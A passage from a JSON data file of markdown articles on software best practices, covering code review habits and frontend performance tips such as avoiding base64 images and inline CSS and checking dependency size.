    "content": "# Review Documentation and Design Specifications\n\nIn the process of code review, it is of utmost importance to not only focus on the source code but also to review any associated documentation or design specifications related to the change. This ensures that the implementation adheres to the initial plan and provides a comprehensive understanding of the proposed modifications. To make sure you follow this best practice effectively, consider the following tips:\n\n- Familiarize yourself with the project's documentation standards and guidelines to evaluate if the submitted documents comply with these expectations.\n\n- Compare the design specifications with the actual code changes to ensure that the implementation is consistent with the planned design.\n\n- Look for any discrepancies or missing information in the documentation and design specifications. This can include gaps in explanation, assumptions, or unclear information that might lead to misunderstandings or inconsistencies in the implementation.\n\n- Verify if the documentation accurately captures the impact of the change on other parts of the system, e.g., dependencies, performance, or security implications.\n\n- Check if the documentation is updated to reflect any changes in the code, such as modifications to APIs, user interfaces, or functionality.\n\nRemember that reviewing documentation and design specifications helps ensure clarity and maintainability of the project, making it easier for everyone involved to contribute effectively."
  },
  {
    "path": "src/data/best-practices/code-review/content/review-docs-updated.md",
    "content": "# Documentation is Updated\n\nProper documentation serves as a guide for future developers, allowing them to easily understand, maintain and enhance the existing codebase. In addition, good documentation can also save time, mitigate confusion, and reduce errors among team members. To make sure that the relevant documentation is up-to-date and precise, follow these tips:\n\n- Require updated documentation as part of the code review process: Make it a standard practice for developers to submit updates to the relevant documentation along with their code changes.\n\n- Check for consistency and accuracy: Review the updated documentation to ensure it accurately and clearly reflects the changes made in the code. This includes following naming conventions, correct syntax, and descriptions of the new features or functions.\n\n- Assess whether there are any missing sections: Look for parts of the code that may have been altered or added but have not been documented. Make sure to remind the developer to provide appropriate documentation for these changes as well.\n\n- Encourage detailed comments in the code: Ensure that the contributors sufficiently explain their changes within the code itself. While not a strict replacement for external documentation, code comments are invaluable for understanding the intent behind the code.\n\n- Keep documentation easy to maintain: Suggest using clear, concise language and a consistent format throughout the documentation, making it easier for team members to maintain and update as needed.\n\nBy following these tips, you will ensure that your team's documentation stays up-to-date, providing a valuable resource to support the continued quality and maintainability of your codebase."
  },
  {
    "path": "src/data/best-practices/code-review/content/review-tests.md",
    "content": "# Reviewing Tests\n\nOne of the essential aspects of code review is evaluating the tests accompanying the code changes. Ensuring these tests adequately cover functionality and edge cases is crucial for maintaining the reliability and stability of the software. This involves examining the structure and design of tests, as well as the effectiveness in confirming the code behaves as expected. It is vital for a code reviewer to focus on whether the tests cover all possible scenarios and comprehensively test the code change, from regular usage to potential edge cases that may cause issues. Here are a few tips to help guide you through this process:\n\n- Assess test coverage: Examine the range of test cases provided to ensure they appropriately test not only the basic functionality but also various edge cases and potential error scenarios.\n- Investigate test design: Evaluate the design of the test suite, ensuring each test serves a specific purpose and that they are organized and maintainable.\n- Verify the implementation: Check the implementation of each test, making sure it is correctly set up and achieves the desired outcome.\n- Prioritize critical areas: Pay special attention to complex or crucial code sections to confirm they have adequate test coverage.\n- Look for potential scenarios: Be proactive in identifying any additional scenarios that might not have been covered, and suggest improvements or new test cases to better validate these situations."
  },
  {
    "path": "src/data/best-practices/code-review/content/review-updated-code.md",
    "content": "# Review Updated Code\n\nIn the process of conducting a code review, it is crucial to verify that the changes suggested during the review have been implemented accurately and effectively. To ensure this, you need to re-examine the updated code and check if it complies with the recommendations provided in the review. This step is not only important for maintaining the code's quality and functionality, but also for reinforcing the purpose of code review as a means of collaboration and knowledge-sharing between team members. To effectively verify the implementation of suggested changes, here are some tips:\n\n- Keep track of the specific suggestions provided during the review. You may use a dedicated tool or document to list down and categorize each feedback and resolution.\n- For each suggestion, re-visit the corresponding lines of code and assess if the changes made align with the recommendation given. Pay attention to any unintentional side effects or new issues that may have emerged due to the changes.\n- Run unit tests, integration tests, and end-to-end tests to ensure that the updated code does not break existing functionality or introduce new bugs.\n- If necessary, consult with the person who made the suggestions to clarify their intentions and to verify if the implemented solution addresses their concerns.\n- Be mindful of the communication between the reviewers and code authors during the review process. Make sure a collaborative environment is fostered, and constructive feedback is emphasized.\n\nBy following these tips, you can validate the successful implementation of recommended changes and help maintain a high standard for your codebase. Remember that the goal of code review is continuous improvement, and ensuring that changes are implemented as expected greatly contributes to this goal."
  },
  {
    "path": "src/data/best-practices/code-review/content/run-tests-ensure-passing.md",
    "content": "# Verify All Tests Pass\n\nRunning the tests and ensuring that they all pass after making changes is a crucial aspect of \"code review\" best practices. This step helps in maintaining the quality of the code by making sure that any code modifications do not lead to unexpected errors or issues. As the codebase grows larger and more complex, it becomes increasingly imperative to verify that all tests are passing after any updates.\n\nTo make sure that all tests pass after making changes, follow these tips:\n- Always run the complete test suite for the entire project after making code modifications. This will ensure that your changes did not introduce any unwanted side effects or bugs.\n- Keep tests up-to-date and relevant by continuously adding new tests, modifying existing ones, and removing obsolete ones. This ensures that the test suite covers all aspects of the project's functionality.\n- Use a Continuous Integration (CI) tool that automatically runs the tests whenever a new commit is pushed to the repository. This helps in identifying any issues early on in the development process and saves time during code review.\n- Pay attention to any test failures and address the root cause before submitting the code for review. It is equally important to understand the reason behind a test failure as it is to fix the issue.\n- Encourage the entire development team to follow these practices and hold each other accountable. This promotes a culture of test-driven development and helps maintain high-quality code."
  },
  {
    "path": "src/data/best-practices/code-review/content/seek-feedback.md",
    "content": "# Seek feedback Early and Often\n\nIn the software development process, it is essential for developers to use efficient and effective practices to ensure that their code is of high quality. One such practice is encouraging authors to seek feedback during the development phase, even before submitting a formal code review. This proactiveness fosters a culture of continuous learning, open communication, and shared ownership. It also helps in identifying issues early on, which greatly improves the overall health of the codebase.\n\nTo ensure that early feedback is sought and implemented, here are some tips to follow:\n\n- Encourage developers to ask for feedback: Remind the team that everyone's opinions and expertise matter, and offer an open environment for discussions.\n\n- Make collaboration tools accessible: Use tools and platforms that facilitate easy communication, sharing, and collaboration on code, such as Git, Slack, or code pairing sessions.\n\n- Provide guidance and mentoring: Senior developers should take the time to guide and mentor junior developers, review code snippets, and give feedback during the development phase.\n\n- Promote pair programming: Encourage the practice of pair programming for complex tasks, as it helps in knowledge sharing and real-time feedback.\n\n- Regularly conduct code walkthroughs: Schedule periodic code walkthroughs or informal review sessions to ensure the team is in sync and everyone is aware of the progress.\n\nBy fostering a culture of collaboration and continuous learning, you can maximize the potential of your team and ensure that your codebase remains healthy, maintainable, and efficient."
  },
  {
    "path": "src/data/best-practices/code-review/content/seek-team-members-feedback.md",
    "content": "# Seek Team Members' Feedback\n\nSeeking feedback from other team members is an essential aspect of the code review process when you are unsure about the changes made in the code. This collaborative approach not only helps in improving the quality of the code but also promotes knowledge sharing and learning among team members. To ensure that you effectively seek feedback, follow these tips:\n\n- Don't hesitate to ask questions and present your doubts or concerns about the code changes openly.\n- Reach out to team members with specific expertise in the area of the code in question to gain valuable insights.\n- Use the commenting feature in your code review tool to highlight areas of the code that need clarification or further discussion.\n- Encourage an open and constructive discussion around the changes, while remaining respectful and receptive to diverse opinions.\n- Consider holding brief team meetings or code review sessions to discuss complex changes and ensure everyone is on the same page.\n\nBy incorporating these tips into your code review process, you will not only ensure effective feedback but also contribute to the overall improvement of your team's coding skills and products."
  },
  {
    "path": "src/data/best-practices/code-review/content/self-review.md",
    "content": "# Self-review\n\nReviewing your code by yourself not only helps you spot potential issues and make improvements, but it also saves time for your peers and shows respect for the collective effort. By thoroughly examining your work with a critical eye, you contribute to maintaining a high-quality and efficient code review process.\n\nTo ensure that you review your code effectively, follow these tips:\n- Take a break: After completing your work, step away from it for a while. This helps you review your code from a fresh perspective.\n- Self-review checklist: Create a checklist of elements to inspect, such as syntax, logic, performance optimizations, and readability. This keeps your focus and ensures consistency across your code.\n- Test thoroughly: Perform unit tests, integration tests, and run your code in various scenarios to ensure it works as expected.\n- Read your code as if you're the reviewer: Use the perspective of a teammate unfamiliar with your work to assess if your code is understandable and easy to follow.\n- Verify documentation: Examine and update any documentation, comments, or inline explanations. This assists reviewers in understanding your code and its purpose.\n\nBy adopting these practices, you are helping to create a smooth code review process, improving the overall quality of your work, and demonstrating professionalism and respect for your team."
  },
  {
    "path": "src/data/best-practices/code-review/content/set-clear-expectations.md",
    "content": "# Set Clear Expectations for Code Review Turnaround Times\n\nIn a collaborative development environment, it is essential to establish clear expectations for code review turnaround times to ensure the smooth progression of your project. Defining reasonable timeframes for reviewing and addressing comments made during code reviews helps maintain momentum in the development process, prevents unnecessary delays, and facilitates better communication between team members. In this section, we will provide some useful tips on how to set appropriate expectations and make sure that code reviews are being conducted effectively and efficiently.\n\n- Define a specific turnaround time: Establish a standard timeframe for team members to complete their code reviews, such as 24 hours or 48 hours depending on the complexity of the project.\n \n- Set priorities: Prioritize code reviews based on the importance of the feature being developed or the urgency of the issue being addressed. Communicate these priorities to your team members to help them manage their time effectively.\n \n- Track and analyze review times: Record the time taken for each code review and observe any patterns, bottlenecks, or areas for improvement. This information can help you refine your expectations and adjust your turnaround times accordingly.\n \n- Encourage timely feedback: Foster a culture of prompt, valuable feedback in your team by emphasizing the importance of quick, thorough code reviews. Recognize and reward team members who consistently meet or exceed expectations when it comes to turnaround times.\n \n- Be mindful of team members' workload: Consider the workload of your team members when assigning code reviews. Assign tasks accordingly to prevent overwhelming any individual or hindering the progress of the entire project.\n\nBy incorporating these tips into your development process, you will ensure that your team adheres to the expectations set for code review turnaround times and keep your project on track."
  },
  {
    "path": "src/data/best-practices/code-review/content/short-term-long-term-considerations.md",
    "content": "# Short-term and long-term Considerations\n\nIn a well-balanced code review, it is essential to keep both short-term and long-term considerations in mind. Short-term considerations focus on the immediate impact of the changes, such as bug fixes, performance improvements, and adherence to coding standards. On the other hand, long-term considerations are aimed at ensuring the code remains maintainable, scalable, and aligned with the broader architectural vision. As a code reviewer, it is your responsibility to strike a balance between these two aspects, making sure your feedback addresses immediate concerns without compromising the codebase's future health. Here are some tips to help you achieve this:\n\n- Encourage the use of design patterns and architectural best practices that promote maintainability and adaptability.\n- Check for code readability and simplicity, as these contribute to easier future modifications.\n- Consider the impact of changes on existing and potential integrations, keeping in mind the system's overall extensibility.\n- Ensure new features or improvements are justified, avoiding the addition of unnecessary complexity that may hinder future development.\n- Encourage documentation for any non-trivial code or design decisions, which helps other developers understand the rationale behind the change and avoids potential issues down the line.\n- Consider if the proposed solution aligns with the team's overall coding practices, tech stack, and organizational goals, ensuring a coherent and unified codebase."
  },
  {
    "path": "src/data/best-practices/code-review/content/style-guide-preferences.md",
    "content": "# Style Guide Preferences\n\nHaving a definitive style guide for style preferences is an essential part of maintaining a codebase that is easy to read, understand, and maintain. A well-defined style guide ensures that all developers are following a consistent set of standards when writing their code, which ultimately leads to a more unified and robust software and saving time and discussions in code reviews. This not only helps developers catch potential bugs and issues more efficiently but also makes onboarding new team members much easier. To make sure your team adheres to a consistent style guide, here are some tips:\n\n- Choose an established style guide such as Google's or Airbnb's style guides, or create your own tailored to your team's preferences.\n- Make the chosen style guide easily accessible to all team members, preferably through your project's documentation.\n- Use linters or formatters to automatically enforce the style guide rules in your code editors and in your continuous integration process.\n- Incorporate style guide adherence as a part of your code review checklist to ensure the submitted code follows the established guidelines.\n- Encourage open discussions about the style guide itself, and be open to updating it as your team grows and evolves. This allows it to remain flexible and adapt to the team's changing requirements."
  },
  {
    "path": "src/data/best-practices/code-review/content/submit-re-review.md",
    "content": "# Submitting Code for a Second Review\n\nWhen modifications or updates are suggested during a review, it's not uncommon for developers to submit their revised code for a second review. This is to ensure that the changes made are acceptable, efficient, and adhere to the team's coding standards. It also provides another opportunity for peer feedback, which is crucial in ironing out any remaining issues and accelerating team learning. To make the most of this process, keep in mind the following tips to help streamline the second review and ensure the updated code is on the right track:\n\n- Address all feedback: Ensure you understand and incorporate all the suggested changes from the first review before submitting the updated code.\n\n- Keep changes focused: Only submit the necessary changes for the second review. Avoid introducing new unrelated features or modifications, as this can prolong the review process.\n\n- Re-test your code: After making revisions, ensure the code is still functioning as intended, and all tests still pass. This will save time in the second review and instill confidence in the code from the reviewer's perspective.\n\n- Provide context: Provide a brief summary or response to the reviewer's feedback, outlining changes made or reasons behind maintaining specific parts of the code as it is. This condensed overview will make it easier for the reviewer to identify the changes without needing to re-read the entire code.\n\n- Set up a follow-up meeting: If needed, schedule a follow-up meeting with the reviewer to address any concerns or unclear parts of the feedback. This direct communication can expedite the review process and avoid misunderstandings.\n\nBy incorporating these best practices when submitting updated code for a second review, you will effectively streamline the process and create a positive experience for both the developer and the reviewer. Ultimately, this will lead to higher-quality code and a better-functioning end product."
  },
  {
    "path": "src/data/best-practices/code-review/content/team-wide-style-followed.md",
    "content": "# Team-wide style is followed\n\nTo achieve this, I recommend adopting a team-wide style guide, which serves as the authoritative reference for code styling within the project. As a reviewer, your role is to verify the changes against this guide, rather than imposing your personal preferences. This helps to reduce inconsistencies and foster a collaborative environment. To ensure the effective implementation of the style guide, consider the following tips:\n\n- Create a clear and concise style guide that covers all major aspects of code styling, such as naming conventions, indentation, and code organization.\n- Share the style guide with all team members and make sure everyone understands its requirements and follows them consistently.\n- Integrate automated linting tools and formatters into your development process to check and enforce code style automatically.\n- Provide dedicated workshops or training sessions to new team members on the style guide, so that they can quickly get up to speed with the team's preferred style.\n- During the code review process, focus on ensuring that the changes align with the style guide. If you find deviations, point them out and guide the developer towards the proper style.\n- Continuously review and update the style guide based on the team's changing needs and preferences. Encourage team members to suggest improvements and changes to make the guide more effective over time."
  },
  {
    "path": "src/data/best-practices/code-review/content/tested-in-dev.md",
    "content": "# Tested in a Development Environment\n\nIn a code review, it is essential to verify that the code change has been properly tested in a development environment before it is merged into the main codebase. This not only helps to detect potential issues early in the development process but also ensures that the changes function as intended without causing any unexpected behavior or side effects. To make sure that the code has been adequately tested in a development environment, follow these tips:\n\n- Examine the test results: Ensure that the developer has shared the test results alongside the code changes. Look for passed/failed test cases, test case coverage, and performance metrics.\n\n- Validate the testing strategy: Check if the tests cover all the critical scenarios affected by the change, and confirm that they address potential regression, edge cases, and potential security vulnerabilities.\n\n- Request a demo: If possible, ask the developer to provide a demo of the changes working in the development environment. This can help you visualize the change and evaluate its impact on the software.\n\n- Set up the development environment on your machine: By setting up the development environment and running the tests locally, you can get a first-hand experience of the changes made and ensure their effectiveness.\n\n- Check the automated testing pipeline: Ensure that the Continuous Integration (CI) system is set up to run tests on the submitted code changes automatically. Monitor the pipeline for any test failures or performance degradation relating to the changes.\n\nBy following these tips, you can ensure that the changes made to the codebase have gone through proper testing in a development environment, reducing the risk of introducing undetected issues and improving the overall quality of the software."
  },
  {
    "path": "src/data/best-practices/code-review/content/trends-issues-finding.md",
    "content": "# Finding Trends and Issues\n\nRegular code review sessions play a crucial role in maintaining code quality and ensuring that team members share valuable knowledge. During these sessions, attendees discuss broader trends or issues that arise during the review process, helping them learn from each other's experience and expertise. This collaborative environment not only fosters better code but also improves overall team dynamics. To get the most out of these sessions, consider some of the following tips:\n\n- Schedule recurring code review meetings to ensure that the team consistently comes together to discuss code-related trends and issues.\n\n- Encourage open and honest communication during the sessions so that everyone feels comfortable sharing their concerns or asking questions.\n\n- Create a collaborative atmosphere by promoting active listening and appreciating each other's viewpoints and suggestions.\n\n- Rotate the role of session facilitator to provide different perspectives and ensure that everyone has the opportunity to take on a leadership position.\n\n- Set specific goals or select focus areas for each code review session to maintain structure and organization.\n\n- Encourage the team to provide constructive feedback on the review process to improve the efficiency and effectiveness of future sessions.\n\n- Use tools that facilitate code review, such as version control systems and collaborative platforms, to enable easy access to code changes and discussions.\n\nBy incorporating these strategies, you can help ensure that regular code review sessions are both productive and beneficial to your team's overall growth and success."
  },
  {
    "path": "src/data/best-practices/code-review/content/update-docs-changes.md",
    "content": "# Update Documentation\n\nIn the process of improving and modifying code, it is crucial to keep the documentation up to date to ensure that other developers and users can understand and utilize the software efficiently. \"Updating any documentation that may have been made obsolete through the changes\" means that whenever there is an alteration in the code, related documentation should also be revised accordingly. This practice helps maintain the coherence between the code and its documentation, and avoids confusion that could arise from contradicting or outdated information. To make sure that you're consistently updating the documentations, here are a few tips:\n\n- Make a habit of revisiting the documentation right after any code change.\n- During the code review process, include documentation checks as a standard step.\n- Always double-check the affected areas in the documentation to ensure they align with the code changes.\n- Use inline comments and clear commit messages to highlight any modifications made in the code, this will make updating the documentation easier.\n- Collaborate with team members to cross-check both the code and documentation to ensure consistency and accuracy."
  },
  {
    "path": "src/data/best-practices/code-review/content/update-review-changes-docs.md",
    "content": "# Update Documentation and Code Comments\n\nAs a vital aspect of the code review process, it is essential to ensure that any changes made to the codebase are accurately reflected in the associated documentation and code comments. Consistently updating these elements helps maintain clear understanding, facilitates collaboration, and boosts a project's long-term maintainability. Below are some tips on making sure you thoroughly update documentation and code comments during a review:\n\n- Cross-reference changes: Whenever a code change is made, always verify if there are any related comments, documentation sections, or code examples that need updating as well.\n \n- Anticipate future maintenance: Consider how the changes made in the code may affect future developers or users. Update any relevant notes, warnings, or explanations in the documentation to address potential confusion or issues that may arise in the future.\n\n- Examine external dependencies: Sometimes, changes may impact external tools or libraries used in the project. Be sure to update any corresponding information in the documentation to reflect the new configurations, requirements, or instructions.\n\n- Review variable and function names: If your code changes involve renaming variables or functions, make sure to update all associated comments and documentation to maintain clarity and consistency.\n\n- Proofread and test: After updating the documentation and code comments, proofread for clarity, correctness, and proper formatting. Additionally, test any code examples or usage instructions provided to ensure they remain accurate and functional."
  },
  {
    "path": "src/data/best-practices/code-review/content/use-automation.md",
    "content": "# Use Automation\n\nAutomation can make a significant impact in code reviews. By using tools such as linters, sniffers, and other static analysis tools, you can quickly identify and fix issues before they make their way into the main codebase. This not only improves code quality but also speeds up the overall review process. To make the most of this, ensure that your development environment is set up with the right tools and configurations, allowing you to enjoy the best of both worlds: maintaining code quality standards while optimizing your review process.\n\nTips for leveraging automation in code reviews:\n\n- Choose appropriate tools for your tech stack (E.g.: ESLint for JavaScript, Pylint for Python, etc.)\n- Configure the tools according to your project's coding style and conventions.\n- Integrate these tools into your Continuous Integration (CI) pipeline, ensuring that code is automatically checked with every commit.\n- Encourage developers to run linter and static analysis tools locally before pushing changes, to catch issues early on.\n- Make use of automated code review platforms like SonarQube or Codacy that can help you monitor and enforce code quality standards.\n- Balance automation with human review; don't solely rely on automated tools, but use them to assist and speed up the process."
  },
  {
    "path": "src/data/best-practices/code-review/content/verify-changes-addressed.md",
    "content": "# Verify that all changes have been Addressed\n\nIn the code review process, it is crucial to ensure that all feedback provided by reviewers has been adequately addressed by the author. This step not only helps in enhancing the quality of the code but also fosters collaboration and ensures that issues and improvements are effectively discussed and resolved. To make sure that all feedback has been addressed, follow these tips:\n\n- Maintain a checklist: Create a list of all the feedback items received during the review process, categorizing them based on their severity or relevance.\n- Take ownership: As the author, it is your responsibility to adapt to the suggestions made by reviewers, so actively participate in refining the code and making necessary changes.\n- Iterative reviews: Have follow-up review sessions after implementing the suggested changes to ensure that outstanding issues have been resolved or have a legitimate reason for being left open.\n- Collaborate with reviewers: Communicate with your reviewers and clarify any ambiguities or seek further guidance when working on suggested changes to ensure you fully understand the intent.\n- Document decisions: Keep track of the decisions made during the review process, ensuring they are transparent and available for future reference. This will help build trust and provide valuable insights for future code reviews.\n\nBy following these steps, you can ensure that all the feedback from code review has been taken into consideration, ultimately leading to a better and more reliable codebase."
  },
  {
    "path": "src/data/best-practices/code-review/content/write-automated-tests.md",
    "content": "# Write Automated Tests\n\nWriting automated tests is an essential best practice that plays a monumental role in assuring the software's overall quality and stability. Automated tests not only exercise specific elements of your code, but they also ensure that your code functions correctly by systematically pinpointing issues that may not surface during casual usage. Incorporating automated testing into your code review process is indispensable, as it allows you to confidently approve code changes knowing that they perform as expected.\n\nTo make sure you're following this practice, here are some tips:\n\n- Prioritize test coverage: Remember to write tests that cover the most important functionality of your code. Consider focusing on edge cases, error handling, and integrations with other components of the system.\n\n- Use a test framework: Leverage a testing framework that simplifies the process of writing and executing tests. This will help you create well-structured, organized, and maintainable test suites.\n\n- Adopt a test-driven development approach: Writing tests before implementing the code ensures that you have a well-defined outline of what the code should do. This methodology helps you design the code accurately and efficiently.\n\n- Make testing part of your development process: To ensure that tests are written and maintained, introduce a consensus within your team that code changes should always be accompanied by appropriate tests.\n\n- Keep tests up to date: As code evolves, ensure that the test suite continues to accurately reflect the software's functionality. Update and refactor tests if requirements change, and delete any deprecated tests.\n\nRemember, leveraging automated tests during code review not only helps validate the code but also maintains the software's overall integrity and reliability, ultimately making it better for end-users."
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/analyse-stylesheets-complexity.md",
    "content": "# Stylesheet Complexity\n\n> Analyzing your stylesheets can help you to flag issues, redundancies and duplicate CSS selectors.\n\nSometimes you may have redundancies or validation errors in your CSS, analysing your CSS files and removing these complexities can help you to speed up your CSS files (because your browser will read them faster).\n\nYour CSS should be organized; using a CSS preprocessor can help you with that. Some online tools listed below can also help you analysing and correct your code.\n\n- [TestMyCSS | Optimize and Check CSS Performance](http://www.testmycss.com/)\n- [CSS Stats](https://cssstats.com/)\n- [macbre/analyze-css: CSS selectors complexity and performance analyzer](https://github.com/macbre/analyze-css)\n- [Project Wallace](https://www.projectwallace.com/) is like CSS Stats but stores stats over time so you can track your changes\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/analyze-js-for-perf-issues.md",
    "content": "# JavaScript Performance\n\n> Check for performance problems in your JavaScript files (and CSS too)\n\nJavaScript complexity can slow down runtime performance. Identifying these possible issues are essential to offer the smoothest user experience.\n\nUse the Timeline tool in the Chrome Developer Tool to evaluate scripts events and found the one that may take too much time.\n\n- [Speed Up JavaScript Execution | Tools for Web Developers](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/js-execution)\n- [JavaScript Profiling With The Chrome Developer Tools](https://www.smashingmagazine.com/2012/06/javascript-profiling-chrome-developer-tools/)\n- [How to Record Heap Snapshots | Tools for Web Developers](https://developers.google.com/web/tools/chrome-devtools/memory-problems/heap-snapshots)\n- [Chapter 22 - Profiling the Frontend - Blackfire](https://blackfire.io/docs/book/22-frontend-profiling)\n- [30 Tips To Improve Javascript Performance](http://www.monitis.com/blog/30-tips-to-improve-javascript-performance/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/avoid-404-files.md",
    "content": "# Serve Reachable Files\n\n> Avoid requesting unreachable files (404)\n\n404 request can slow down the performance of your website and negatively impact the user experience. Additionally, they can also cause search engines to crawl and index non-existent pages, which can negatively impact your search engine rankings. To avoid 404 requests, ensure that all links on your website are valid and that any broken links are fixed promptly.\n\n- [404 Not Found Overview](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/404)"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/avoid-base64-images.md",
    "content": "# Avoid Base64 Images\n\n> You could eventually convert tiny images to base64 but it's actually not the best practice.\n\nUsing Base64 encoded images in your frontend can have several drawbacks.\n\nFirst, Base64 encoded images are larger in size than their binary counterparts, which can slow down the loading time of your website.\n\nSecond, because Base64 encoded images are embedded directly in the HTML or CSS, they are included in the initial page load, which can cause delays for users with slower internet connections.\n\nThird, Base64 encoded images do not benefit from browser caching, as they are part of the HTML or CSS and not a separate resource. So, every time the page is loaded, the images will be re-downloaded, even if the user has visited the page before.\n\nFourth, Base64 encoded images are not compatible with some old browser versions.\n\nInstead of using Base64 encoded images, it is generally recommended to use binary image files and reference them using an img tag in HTML, with a standard src attribute. This allows the browser to cache the image and use it for subsequent page loads, resulting in faster loading times and better user experience.\n\n- [Base64 Encoding & Performance, Part 1 and 2 by Harry Roberts](https://csswizardry.com/2017/02/base64-encoding-and-performance/)\n- [A closer look at Base64 image performance – The Page Not Found Blog](http://www.andygup.net/a-closer-look-at-base64-image-performance/)\n- [When to base64 encode images (and when not to) | David Calhoun](https://www.davidbcalhoun.com/2011/when-to-base64-encode-images-and-when-not-to/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/avoid-inline-css.md",
    "content": "# Avoid Inline CSS\n\n> Avoid using embed or inline CSS inside your `<body>` (Not valid for HTTP/2)\n\nOne of the first reasons is because it's a good practice to separate content from design. It also helps you have a more maintainable code and keep your site accessible. But regarding performance, it's simply because it decreases the file size of your HTML pages and the load time.\n\nAlways use external stylesheets or embed CSS in your `<head>` (and follow the others CSS performance rules)\n\n- [Observe CSS Best Practices: Avoid CSS Inline Styles](https://www.lifewire.com/avoid-inline-styles-for-css-3466846)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/avoid-multiple-inline-js-snippets.md",
    "content": "# Avoid Inline JavaScript\n\n> Avoid having multiple JavaScript codes embedded in the middle of your body. Regroup your JavaScript code inside external files or eventually in the `<head>` or at the end of your page (before `</body>`).\n\nPlacing JavaScript embedded code directly in your `<body>` can slow down your page because it loads while the DOM is being built. The best option is to use external files with async or defer to avoid blocking the DOM. Another option is to place some scripts inside your `<head>`. Most of the time analytics code or small script that need to load before the DOM gets to main processing.\n\nEnsure that all your files are loaded using `async` or `defer` and decide wisely the code that you will need to inject in your `<head>`.\n\n- [11 Tips to Optimize JavaScript and Improve Website Loading Speeds](https://www.upwork.com/hiring/development/11-tips-to-optimize-javascript-and-improve-website-loading-speeds/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/bundlephobia.md",
    "content": "# Bundlephobia\n\nBundlephobia is a website and npm package that allows developers to search for the size of any JavaScript package before adding it to their project. It provides information on the size of the package, as well as the size of its dependencies, to help developers make informed decisions about which packages to use and how they may impact the overall size of their application. Bundlephobia also offers badges which can be added to your GitHub README.md file to show the size of your package.\n\n- [Official Website - Bundlephobia](https://bundlephobia.com/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/check-dependency-size.md",
    "content": "# Check Dependency Size\n\n> Ensure to use wisely external libraries, most of the time, you can use a lighter library for a same functionality.\n\nYou may be tempted to use one of the 745 000 packages you can find on npm, but you need to choose the best package for your needs. For example, MomentJS is an awesome library but with a lot of methods you may never use, that's why Day.js was created. It's just 2kB vs 16.4kB gz for Moment.\n\nAlways compare and choose the best and lighter library for your needs. You can also use tools like [npm trends](http://www.npmtrends.com/) to compare NPM package downloads counts or [Bundlephobia](https://bundlephobia.com/) to know the size of your dependencies.\n\n- [ai/size-limit: Prevent JS libraries bloat](https://github.com/ai/size-limit)\n- [webpack-bundle-analyzer - npm](https://www.npmjs.com/package/webpack-bundle-analyzer)\n- [js-dependency-viewer - npm](https://www.npmjs.com/package/js-dependency-viewer)\n- [Size Limit: Make the Web lighter](https://evilmartians.com/chronicles/size-limit-make-the-web-lighter)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/choose-image-format-approprietly.md",
    "content": "# Image Format\n\n> Choose your image format appropriately\n\nTo ensure that your images don't slow your website, choose the format that will correspond to your image. If it's a photo, JPEG is most of the time more appropriate than PNG or GIF. However, don't forget to look at the more modern formats that can reduce the size of your files. Each image format has pros and cons, so it's important to know these to make the best choice possible.\n\nUse [Lighthouse](https://developers.google.com/web/tools/lighthouse/) to identify which images can eventually use modern formats (like JPEG 2000m, JPEG XR or WebP). Compare different formats, sometimes using PNG8 is better than PNG16, sometimes it's not.\n\n- [Serve Images in Modern Formats](https://developers.google.com/web/tools/lighthouse/audits/webp)\n- [What Is the Right Image Format for Your Website?](https://www.sitepoint.com/what-is-the-right-image-format-for-your-website/)\n- [PNG8 - The Clear Winner](https://www.sitepoint.com/png8-the-clear-winner/)\n- [8-bit vs 16-bit - What Color Depth You Should Use And Why It Matters](https://www.diyphotography.net/8-bit-vs-16-bit-color-depth-use-matters/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/chrome-dev-tools.md",
    "content": "# Chrome DevTools\n\nChrome DevTools is a set of web development tools built into the Google Chrome browser. It allows developers to inspect and debug the front-end of web applications.\n\nSome of the benefits of using Chrome DevTools include:\n\n- Inspecting and editing HTML and CSS in real-time, which can be useful for identifying and fixing layout issues\n- Debugging JavaScript code, including setting breakpoints, stepping through code, and examining the call stack\n- Profiling the performance of web pages, including identifying slow-running JavaScript code and analyzing network requests\n- Inspecting and debugging browser-side storage, including cookies, local storage, and indexedDB\n- Auditing web pages for performance, accessibility, and best practices\n\nChrome DevTools are a powerful and essential tool for web developers, as it helps to improve debugging, testing, and optimization of the web application.\n\n- [Chrome DevTools Docs](https://developer.chrome.com/docs/devtools/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/compress-your-images.md",
    "content": "# Images Optimization\n\n> Your images are optimized, compressed without direct impact to the end user.\n\nOptimized images load faster in your browser and consume less data.\n\n- Try using CSS3 effects when it's possible (instead of a small image\n- When it's possible, use fonts instead of text encoded in your images\n- Use SVG\n- Use a tool and specify a level compression under 85.\n\n- [Image Optimization](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/image-optimization)\n- [TinyJPG – Compress JPEG images intelligently](https://tinyjpg.com/)\n- [Kraken.io - Online Image Optimizer](https://kraken.io/web-interface)\n- [Compressor.io](https://compressor.io/compress)\n- [Cloudinary - Image Analysis Tool](https://webspeedtest.cloudinary.com)\n- [ImageEngine - Image Webpage Loading Test](https://demo.imgeng.in)\n- [SVGOMG - Optimize SVG vector graphics files](https://jakearchibald.github.io/svgomg/)\n- [Minipic - Convert Images Super Fast](https://minipic.app/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/concatenate-css-single-file.md",
    "content": "# CSS Concatenation\n\n> CSS files are concatenated in a single file (Not always valid for HTTP/2)\n\nIf you are still using HTTP/1, you may need to still concatenate your files, it's less true if your server use HTTP/2 (tests should be made).\n\n- Use online tool or any plugin before or during your build or your deployment to concatenate your files.\n- Ensure, of course, that concatenation does not break your project\n\n- [HTTP: Optimizing Application Delivery - High Performance Browser Networking (O'Reilly)](https://hpbn.co/optimizing-application-delivery/#optimizing-for-http2)\n- [Performance Best Practices in the HTTP/2 Era](https://deliciousbrains.com/performance-best-practices-http2/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/cookie-size-less-4096-bytes.md",
